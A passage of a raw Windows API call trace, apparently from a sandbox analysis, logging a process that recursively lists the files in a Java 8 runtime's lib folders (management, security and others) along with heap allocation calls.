ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.079] GetProcessHeap () returned 0xaf0000 [0277.079] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.080] GetProcessHeap () returned 0xaf0000 [0277.080] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.080] GetProcessHeap () returned 0xaf0000 [0277.080] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.080] GetProcessHeap () returned 0xaf0000 [0277.080] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.082] GetProcessHeap () returned 0xaf0000 [0277.082] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0277.082] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0277.082] GetProcessHeap () returned 0xaf0000 [0277.082] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0277.084] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0277.084] GetProcessHeap () returned 0xaf0000 [0277.084] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0277.084] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0277.085] GetProcessHeap () returned 0xaf0000 [0277.085] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.085] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0277.085] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0277.086] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0277.086] GetProcessHeap () returned 0xaf0000 [0277.086] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.086] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0277.087] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0277.087] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0277.087] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0277.087] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0277.087] GetProcessHeap () returned 0xaf0000 [0277.087] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.088] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0277.088] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0277.088] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, 